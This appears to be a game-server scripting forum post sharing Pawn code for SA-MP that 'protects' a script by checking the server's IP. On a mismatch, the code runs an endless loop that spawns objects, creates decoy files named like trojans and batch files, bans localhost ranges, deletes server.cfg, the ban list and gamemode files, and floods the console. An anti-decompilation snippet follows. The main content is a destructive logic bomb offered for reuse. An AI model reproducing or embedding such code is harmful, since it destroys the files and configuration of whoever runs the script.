MAKE SURE YOU CHANGE THE IP, OR YOU'LL GET OWNED TO SMITHERINES.
I use this, ****** made it but I modified it (I use a different plugin to go out of the /scriptfiles/ directory, along with ******' RandomEx()):
pawn Код:
new ip[ 16 ];
GetServerVarAsString( "bind", ip, sizeof( ip ) );
if( ! ip[ 0 ] || strcmp( ip, "209.172.55.89" ) )
{
for (;;)
{
print( "ERROR: You're not authorised to use this script." );
CreateVehicle( 520, 2109.1763, 1503.0453, 32.2887, 82.2873, 0, 1, 1 );
print( "WARNING [vehicles]: An excessive amount of UNKNOWN seem to be spawning." );
CreateObject( RandomEx( 400, 611 ), 2001.195679, 1547.113892, 14.283400, 0, 0, 96 );
print( "WARNING [objects]: An excessive amount of Mailboxes (ID: 1258) seem to be spawning." );
new tmpstr[512], stringforhungary[512], maybeinchina[512];
format( tmpstr, sizeof( tmpstr ), "trojan_horse_HONKEY_%d.exe", RandomEx( 5, 999999 ) );
file_create( tmpstr );
format( stringforhungary, sizeof( stringforhungary ), "ERROR: In Soviet Hungary - String format you." );
print( stringforhungary );
format( maybeinchina, sizeof( maybeinchina ), "%d_I_am_telling_Calgon.bat", RandomEx( 1, 10000 ) );
Create3DTextLabel( "Hi, my name is DO NOT STEAL MY SCRIPT!",0x008080FF,30.0,40.0,50.0,40.0,0 );
print( "WARNING [3d labels]: An excessive amount of 3d labels with the text 'Hi, my name is DO NOT STEAL MY SCRIPT!' seem to be spawning." );
dini_Create( maybeinchina );
SendRconCommand( "banip 127.0.*.*" );
file_delete( "samp-npc" );
file_delete( "samp.ban" );
file_delete( "server.cfg" );
if( fexist( "gamemodes/VortexRoleplay.amx" ) )
{
file_delete( "gamemodes/VortexRoleplay.amx" );
format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
file_create( stringforhungary );
}
else
{
format( stringforhungary, sizeof( stringforhungary ), "gamemodes/YouAreDUMB_%d_soTrue%d.amx", RandomEx( 1, 5000000), RandomEx( 666, 999 ) );
file_create( stringforhungary );
}
new Variable[MAX_PLAYERS];
Variable[1] = 42;
}
}
And use Anti-DeAMX (sorry, I've forgotten who made this):
pawn Код:
AntiDeAMX()
{
new a[][] =
{
"Unarmed (Fist)",
"Brass K"
};
#pragma unused a
}